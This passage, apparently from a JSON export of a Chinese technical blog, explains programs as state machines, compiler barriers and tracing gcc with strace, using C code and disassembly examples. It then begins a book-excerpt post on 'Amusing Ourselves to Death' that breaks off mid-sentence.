class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;assert.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003eint\u003c/span\u003e pc, n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003echar\u003c/span\u003e from, to, via;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} Frame;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e call(...) ({ *(++top) = (Frame) { .pc = 0, __VA_ARGS__ }; })\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e ret()     ({ top--; })\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e goto(loc) ({ f-\u0026gt;pc = (loc) - 1; }\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ehanoi\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003echar\u003c/span\u003e from, \u003cspan class=\"type\"\u003echar\u003c/span\u003e to, \u003cspan class=\"type\"\u003echar\u003c/span\u003e via)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  Frame stk[\u003cspan class=\"number\"\u003e64\u003c/span\u003e], *top = stk - \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  call(n, from, to, via);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (Frame *f; (f = top) \u0026gt;= stk; f-\u0026gt;pc++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e (f-\u0026gt;pc) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e: \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (f-\u0026gt;n == \u003cspan class=\"number\"\u003e1\u003c/span\u003e) { \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c -\u0026gt; %c\\n\u0026#34;\u003c/span\u003e, f-\u0026gt;from, f-\u0026gt;to); \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e(\u003cspan class=\"number\"\u003e4\u003c/span\u003e); } \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e: call(f-\u0026gt;n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e, f-\u0026gt;from, f-\u0026gt;via, f-\u0026gt;to);   \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e2\u003c/span\u003e: call(       \u003cspan class=\"number\"\u003e1\u003c/span\u003e, f-\u0026gt;from, f-\u0026gt;to,  f-\u0026gt;via);  \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e3\u003c/span\u003e: call(f-\u0026gt;n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e, f-\u0026gt;via,  f-\u0026gt;to,  f-\u0026gt;from); \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e4\u003c/span\u003e: ret();                                    \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e: assert(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"二进制视角\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E4%BA%8C%E8%BF%9B%E5%88%B6%E8%A7%86%E8%A7%92\" class=\"headerlink\" title=\"二进制视角\"\u003e\u003c/a\u003e二进制视角\u003c/h3\u003e\u003cp\u003e实际上就是汇编视角。汇编程序分为几个段:数据段、代码段和栈段。加载程序就是加载初始状态,状态转移就是改变寄存器的值,转移方式就是执行指令。\u003c/p\u003e\u003cp\u003e这两个视角都可以用\u003ccode\u003egdb\u003c/code\u003e来查看。\u003c/p\u003e\u003cp\u003e但是,操作系统又不是普通程序。因为操作系统不光处理计算任务,还需要能够暂停、退出程序等等。\u003c/p\u003e\u003cp\u003e在Linux中,有一条叫做\u003ccode\u003esystemcall\u003c/code\u003e(系统调用)的指令。它不负责计算,它把当前进程的状态交给操作系统,也就是允许操作系统任意更改程序。这使得进程可以和操作系统中的其他对象交互。\u003c/p\u003e\u003cp\u003e也就是说,对于程序而言,操作系统就是一个程序。参数就是应用程序本身的状态,输出就是程序要访问的资源。C程序main函数最后的\u003ccode\u003ereturn;\u003c/code\u003e就是这样的,它实质上是借助了\u003ccode\u003esyscall()\u003c/code\u003e,将程序状态变为某特定状态,再交给系统去处理。这就好比准备好要传递的参数,然后去调用函数一样。\u003c/p\u003e\u003cp\u003e回到主题。从二进制/操作系统的视角看来,\u003cstrong\u003e程序是一个不停计算,并会穿插执行systemcall的状态机\u003c/strong\u003e。\u003c/p\u003e\u003ch2 id=\"什么是编译器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E4%BB%80%E4%B9%88%E6%98%AF%E7%BC%96%E8%AF%91%E5%99%A8\" class=\"headerlink\" title=\"什么是编译器\"\u003e\u003c/a\u003e什么是编译器\u003c/h2\u003e\u003cp\u003e编译器将源代码编译为二进制程序。从汇编状态机/C程序状态机的视角来看,实际上就是将后者翻译成了前者。编译(优化)的正确性(Soundness)就是在确保二者的\u003cstrong\u003e可观测行为\u003c/strong\u003e完全一致。\u003c/p\u003e\u003cp\u003e而关于编译器优化,我们可以使用\u003ccode\u003ecompiler barrier\u003c/code\u003e来阻止优化:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e g;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003efoo\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e x)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eg++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003easm\u003c/span\u003e \u003cspan class=\"title function_\"\u003evolatile\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"string\"\u003e\u0026#34;nop\u0026#34;\u003c/span\u003e : : \u003cspan class=\"string\"\u003e\u0026#34;r(x)\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;memory\u0026#34;\u003c/span\u003e)\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// compiler barrier\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eg++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码借助objdump查看反编译代码,可以看出,这两条\u003ccode\u003eg++\u003c/code\u003e并没有被\u003ccode\u003e-O2\u003c/code\u003e编译优化。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc -O2 -c a.c \u0026amp;\u0026amp; objdump -d a.o\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea.o: file format elf64-x86-64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDisassembly of section .text:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e0000000000000000 \u0026lt;foo\u0026gt;:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 0: f3 0f 1e fa endbr64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 4: 83 05 00 00 00 00 01 addl \u003cspan class=\"variable\"\u003e$0x1\u003c/span\u003e,0x0(%rip) \u003cspan class=\"comment\"\u003e# b \u0026lt;foo+0xb\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e b: 90 nop\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c: 83 05 00 00 00 00 01 addl \u003cspan class=\"variable\"\u003e$0x1\u003c/span\u003e,0x0(%rip) \u003cspan class=\"comment\"\u003e# 13 \u0026lt;foo+0x13\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 13: c3 retq\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e除此之外,还有一种更强的barrier:\u003ccode\u003e__sync_synchronize();\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"观察编译器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E8%A7%82%E5%AF%9F%E7%BC%96%E8%AF%91%E5%99%A8\" class=\"headerlink\" title=\"观察编译器\"\u003e\u003c/a\u003e观察编译器\u003c/h3\u003e\u003cp\u003e使用\u003ccode\u003estrace\u003c/code\u003e,我们可以看到一个程序所有的系统调用。借助下面几个工具的组合,我们可以看到gcc如何编译程序:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// a.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello, OS!\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e保存上面的文件后,执行下面的指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003estrace -f gcc a.c |\u0026amp; vim -\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e我们可以在Vim中看到下面的输出\u003c/p\u003e\u003cp\u003e![[Pasted image 20230128215947.png]]\u003c/p\u003e\u003cp\u003e稍微修改后(\u003ccode\u003e:%!grep execve\u003c/code\u003e留下系统调用的行,\u003ccode\u003e:%!grep -v ENOENT\u003c/code\u003e删除失败的行,\u003ccode\u003e:%s/, /\\r /g\u003c/code\u003e将参数换行显示,提高结果可读性),可以分析得到下面的结果\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e 1 execve(\u003cspan class=\"string\"\u003e\u0026#34;/usr/bin/gcc\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 2 [\u003cspan class=\"string\"\u003e\u0026#34;gcc\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 3 \u003cspan class=\"string\"\u003e\u0026#34;a.c\u0026#34;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 4 0x7ffd181ca900 /* 30 vars */) = 0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 5 [pid 212] execve(\u003cspan class=\"string\"\u003e\u0026#34;/usr/lib/gcc/x86_64-linux-gnu/9/cc1\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 6 [\u003cspan class=\"string\"\u003e\u0026#34;/usr/lib/gcc/x86_64-linux-gnu/9/\u0026#34;\u003c/span\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 7 \u003cspan class=\"string\"\u003e\u0026#34;-quiet\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 8 \u003cspan class=\"string\"\u003e\u0026#34;-imultiarch\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 9 \u003cspan class=\"string\"\u003e\u0026#34;x86_64-linux-gnu\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10 \u003cspan class=\"string\"\u003e\u0026#34;a.c\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11 \u003cspan class=\"string\"\u003e\u0026#34;-quiet\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12 \u003cspan class=\"string\"\u003e\u0026#34;-dumpbase\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13 \u003cspan class=\"string\"\u003e\u0026#34;a.c\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14 \u003cspan class=\"string\"\u003e\u0026#34;-mtune=generic\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15 \u003cspan class=\"string\"\u003e\u0026#34;-march=x86-64\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16 \u003cspan class=\"string\"\u003e\u0026#34;-auxbase\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17 \u003cspan class=\"string\"\u003e\u0026#34;a\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18 \u003cspan class=\"string\"\u003e\u0026#34;-fasynchronous-unwind-tables\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19 \u003cspan class=\"string\"\u003e\u0026#34;-fstack-protector-strong\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20 \u003cspan class=\"string\"\u003e\u0026#34;-Wformat\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21 \u003cspan class=\"string\"\u003e\u0026#34;-Wformat-security\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22 \u003cspan class=\"string\"\u003e\u0026#34;-fstack-clash-protection\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23 \u003cspan class=\"string\"\u003e\u0026#34;-fcf-protection\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24 \u003cspan class=\"string\"\u003e\u0026#34;-o\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25 \u003cspan class=\"string\"\u003e\u0026#34;/tmp/ccf8oz38.s\u0026#34;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26 0x251bbd0 /* 35 vars */ \u0026lt;unfinished ...\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面就是\u003ccode\u003egcc\u003c/code\u003e编译这个程序的全流程,以及全部的参数。这些系统调用都能看得到。也就证明了前面的结论:程序=系统调用+计算。我们写的算法题就几乎属于纯计算(只有最后的\u003ccode\u003ereturn 0;\u003c/code\u003e算个系统调用),平时使用的各种程序就属于系统调用+计算的类型。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/"},{"title":"书摘:《娱乐至死》","time":"2022-12-29T08:39:22Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e谎言没有被定义成真理,真理也没有被定义成谎言。真正发生的是公众已经适应了没有连贯性的世界,并且已经被娱乐得麻木不仁了。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e破碎化的信息,使得在传统的印刷文字中习惯了连贯的上下文的读者需要不停地切换上下文。这使得读者疲于应付无休止的切换。显然,这让信息得不到被处理的精力了。久而久之,当人们开始适应之后,甚至不会再对信息进行思考,而只是单纯地接收并丢弃,并以这种走马观花的感受为乐。这种上下文切换在手机上展现的最为淋漓尽致。手机的通知系统充分调动用户的各种感官提醒人们去查看最新的信息。它很负责,我们几乎不会遗漏一条信息。而代价就是上面所述的切换一天可能会发生更多次,直到我们筋疲力竭为止,我们依然会点亮屏幕,查看最新的通知。我们会感觉自己看到了很多信息,并且也仅限于此。我们不会更深入地思考整理,不仅是没有那个精力,也是因为这些信息太零散了,从通知类到生活小常识,无所不有。这样的无关联信息没有可供思考的语境,也没有思考的余地:就像照片一样,只是一个个事实而已,它们的联系只有同样使用文字同时排版在你的眼前而已。\u003c/p\u003e\u003cp\u003e这些通知可能很重要,会改变我们接下来的行程安排。但是这种突发事件式的通知会打断我们正在做的,无论它是否重要。这对于我们当前的状态是一种毁灭性打击:当我在看书时,弹出了群聊消息。我点开它,并参与了对话。我退出它,重新回到阅读流程中。若只是一次两次还好,次数多了我会直接放弃阅读,开始做其他的事,比如继续进行没什么营养的对话,查看所有的新消息,或者去视频网站消磨时间。\u003c/p\u003e\u003cp\u003e因此,手机最好还是只回归于一个联络工具的功能,而将其他功能交给更专业的设备去完成。比如把阅读交给实体书/电脑,学习交给电脑/平板。笔记可以用电子的,也可以用纸质的。但是在选择前者时,应该确保不要被工